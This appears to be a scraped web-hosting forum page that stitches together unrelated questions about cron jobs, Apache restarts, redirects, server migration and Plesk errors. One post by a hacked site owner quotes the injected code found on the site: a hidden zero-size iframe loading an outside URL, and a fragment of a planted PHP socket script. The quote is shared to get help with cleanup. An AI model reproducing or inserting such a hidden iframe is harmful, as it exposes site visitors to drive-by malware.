How To Set Up Cron Job To Replace Index File Every 3 Hours...
Apr 18, 2007
I would like to replace my index file every three hours, with a specified file on the server thats in a different folder (someone keeps putting unwanted stuff in my index file) Can someone explain to me how this is done?
I want to setup a crontab to delete a file every 24 hours, I am not the best in crontab so was wondering if one of you could please give me the command I should use?
My host is experiencing "issues" with my WordPress. It keeps going above their upper limit of open MySQL connections. So, while I am diagnosing it, I need to restart the server every few hours to avoid it going down.
How do I write a cron to restart Apache every 3 hours?
I have anywhere between 80,000 - 90,000 webpages that have a single code into this. Unfortunately at the time the web developer I used didn't use PHP includes. So each .html file has the code in it.
I want a way so I can do a single command either a program or an SSH command can find the syntax in the files and replace it will code I have. Its just a single line of code that is basically for an adsense code, so the pub-blahblahblah etc..
Does anyone know of a SSH command I can use, or a program that will find and replace without manually opening up each file? 80k - 90k of opening files then find/replace will take forever!
I've been having an issue with one of my sites were someone has been adding malicious code to the index file. I don't know what has been compromised and am looking for a way to stop this.
I have a dedicated server have already upgraded MySQL to the latest version as I though that might work but it hasn't.
One of my customers has been having a problem with his index files not showing up. It'll display the parent directory, and you can clearly see the index.html file in there, but it won't show it as the index.
It happened in one directory, and I went into .htaccess and did DirectoryIndex index.php.... but now i'm wondering if its part of a bigger problem, because its happening to other folders now.
My site was hacked today, all pages named index.html were hacked. It is kind of script since all pages were written same time.
I'm using a very respectable hosting. I jumped from another hosting were I was exposed on a unsecured host (they moved my account to an insecure host without asking).
Going back on track, all files named "%index%" were hacked.
-I found a index.txt file with links to obscure sites.
The code was written at bottom of the all index.html files: iframe code
Code: ><!-- ~ --><iframe src="http://googletraff.com/in.cgi?default" width="0" height="0" style="display:none"></iframe><!-- ~ --> Also a line.php with the following code
");$wr = 0;while(!feof($socket)){ $temp = fgets($socket); if(eregi("<",$temp)) { $wr = 1; } if($wr) { $page .= $temp; } } fclose($socket); return $page; } ?> So far I recover the files from backup, secured the config.php files and modify %index% to read only...finally changed the password...
Have a website that is making use of both index.html and index.php files as the main page. How can I achieve either through .htaccess or similar (shared hosting) to have the users directed to index.html and not load the index.php first off.
I am implementing one of my clients new sites ( the old site is written in plain html), and their new site uses ASP on every page.
The problem is that their old index.htm page has a pagerank of 4 which we want to keep.
And I have been advised that i need to do a 301 redirect to pass that PageRank onto their new index.asp page.
The other problem is that they are on a shared IIS hosting solution (with FastHosts), and obviously I don;t have total control over the server so cannot get into the root control panel.
My question is, whats the IIS alternative to .htaccess, which can be implemented on a limite-controlled IIS server?
JavaScript, I have heard is completely out the question
I recompiled apache and php due to some problems. Now apache and php is running and I have a VB forum running fine. However, one folder has a PHP page named index.php when I type its URL I get it downloaded and it is not executed directly from the server.
when I add "?" to the end of the URL[url]" it runs with no problems!
I colo a 1U machine with 2-36gig drives. They're not in RAID, and I have it set to rsync backups to a remote machine on a regular schedule. I have another remote machine functioning as a secondary DNS. Neither of these 2 are on a large upstream pipe. I just bought 2-147gig drives that I'd like to replace the 36g's with. How does this sound for a scenario to accomplish this with little downtime (pre-pardon my noob'ish ways):
1. Do a complete rsync of the filesystem to my remote machine as well as sync the mysql db's (to 1 remote drive).
2. Pop that single rsync'd drive into an external enclosure.
3. Travel to datacenter, once there, plug external drive into laptop and start up a VM that boots off of that drive.
4. Sync again so external drive has the most up-to-date data.
5. Change over IP's from colo to VM on laptop.
6. Shutdown and swap out drives in colo'd box with the new ones.
7. Setup new drives as RAID 1, install OS, then rsync filesystem over from laptop to new drives in colo'd box.
8. Change back IP's.
What am I missing, or is there an easier way without a 2nd colo/dedicated server? Currently, the colo'd machine is using about 1.3Mbit/sec outbound and it's running a low load.
we know hypervm/lxadmin have some exploit. My server is ruuning with lxadmin. Is there any panel to replace it? I mean we can easily to reload OS, use File Manager like hypervm...
My old VPS was hacked and an iframe html string was added to just about all the files on the server.
I've since then identified the vulnerability and moved to a new host and want to copy the accounts over but wanted to know if there was an easy way to search all the files for this html code and delete it?
For example, search all files for <iframe etc etc> and delete it?
I know this is probably rather simple...but I have no idea how to do it.
I'm trying to replace my Linux OS with Windows Server 2003, which I already have a license.
I'm talking about OVH Kimsufi XL.
Following support's instructions, I booted my dedicated with netboot, specific with vkvm option.
Then I specified an ftp location, (where there is my "totally working" .iso), and I started the virtual session.
After some mins, a java windows appears, and starts the vnc session.
After usual linux loading, it stops on this :
Code: VFS: Cannot open root device "801" or unknown-block(8,1) Please append a correct "root=" boot option; here are the available partitions: 0300 244198584 hda driver: ide-gd 0301 5245191 hda1 0302 238428687 hda2 0303 522112 hda3
Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(8,1)
I am trying to restore a backup that Parallels Plesk made (latest version) and I used to get the option at some point to replace everything. Now, I only get the options to select what I want to restore and it fails because it says certain things, domains, content is already there.
I can't find the option anymore that allows me to say replace everything during the backup. Was that removed? If so, I'd really....really like it back.
Warning: Failed deployment of domain localhost.localdomain Warning: Execution of /usr/local/psa/admin/plib/api-cli/domain.php --create localhost.localdomain -owner admin -do-not-apply-skeleton -notify false -guid 4fe5de63-3103-4fa0-a01c-04894e167107 -vendor-guid 75b2fa01-6c6e-4cb2-8f1b-9c69757fd3ec -creation-date 2014-02-13 -ip 46.165.251.98 -ignore-nonexistent-options failed with return code 1. Stderr is An error occurred during domain creation: There are no available resources of this type (domains) left. Requested: 1; available: 0.